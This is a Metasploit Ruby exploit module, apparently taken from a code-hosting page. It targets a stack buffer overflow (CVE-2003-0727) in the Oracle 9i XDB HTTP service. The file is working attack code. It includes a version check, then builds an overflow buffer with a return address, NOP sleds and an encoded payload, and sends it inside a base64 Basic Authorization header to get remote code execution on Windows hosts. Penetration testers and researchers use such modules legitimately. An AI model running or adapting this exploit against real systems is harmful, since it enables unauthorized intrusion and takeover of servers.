88 lines
2.4 KiB
Ruby
88 lines
2.4 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = GreatRanking
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Oracle 9i XDB HTTP PASS Overflow (win32)',
|
|
'Description' => %q{
|
|
This module exploits a stack buffer overflow in the authorization
|
|
code of the Oracle 9i HTTP XDB service. David Litchfield,
|
|
has illustrated multiple vulnerabilities in the Oracle
|
|
9i XML Database (XDB), during a seminar on "Variations
|
|
in exploit methods between Linux and Windows" presented
|
|
at the Blackhat conference.
|
|
},
|
|
'Author' => [ 'MC' ],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
['CVE', '2003-0727'],
|
|
['OSVDB', '2449'],
|
|
['BID', '8375'],
|
|
['URL', 'http://www.blackhat.com/presentations/bh-usa-03/bh-us-03-litchfield-paper.pdf'],
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'thread',
|
|
},
|
|
'Privileged' => true,
|
|
'Payload' =>
|
|
{
|
|
'Space' => 400,
|
|
'BadChars' => "\x00",
|
|
'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[ 'Oracle 9.2.0.1 Universal', { 'Ret' => 0x60616d46 } ],
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => 'Aug 18 2003'))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(8080)
|
|
])
|
|
end
|
|
|
|
def check
|
|
connect
|
|
sock.put("GET / HTTP/1.0\r\n\r\n")
|
|
resp = sock.get_once
|
|
disconnect
|
|
|
|
if (resp =~ /9\.2\.0\.1\.0/)
|
|
return Exploit::CheckCode::Appears
|
|
end
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
|
|
def exploit
|
|
connect
|
|
|
|
sploit = rand_text_english(4, payload_badchars) + ":"
|
|
sploit << rand_text_english(442, payload_badchars)
|
|
sploit << "\xeb\x64" + make_nops(2) + [target.ret].pack('V')
|
|
sploit << make_nops(266) + "\xeb\x10" + make_nops(109) + payload.encoded
|
|
|
|
req = "Authorization: Basic #{Rex::Text.encode_base64(sploit)}\r\n\r\n"
|
|
|
|
res = "GET / HTTP/1.1\r\n" + "Host: #{rhost}:#{rport}\r\n" + req
|
|
|
|
print_status("Trying target %s..." % target.name)
|
|
|
|
sock.put(res)
|
|
|
|
handler
|
|
disconnect
|
|
end
|
|
end
|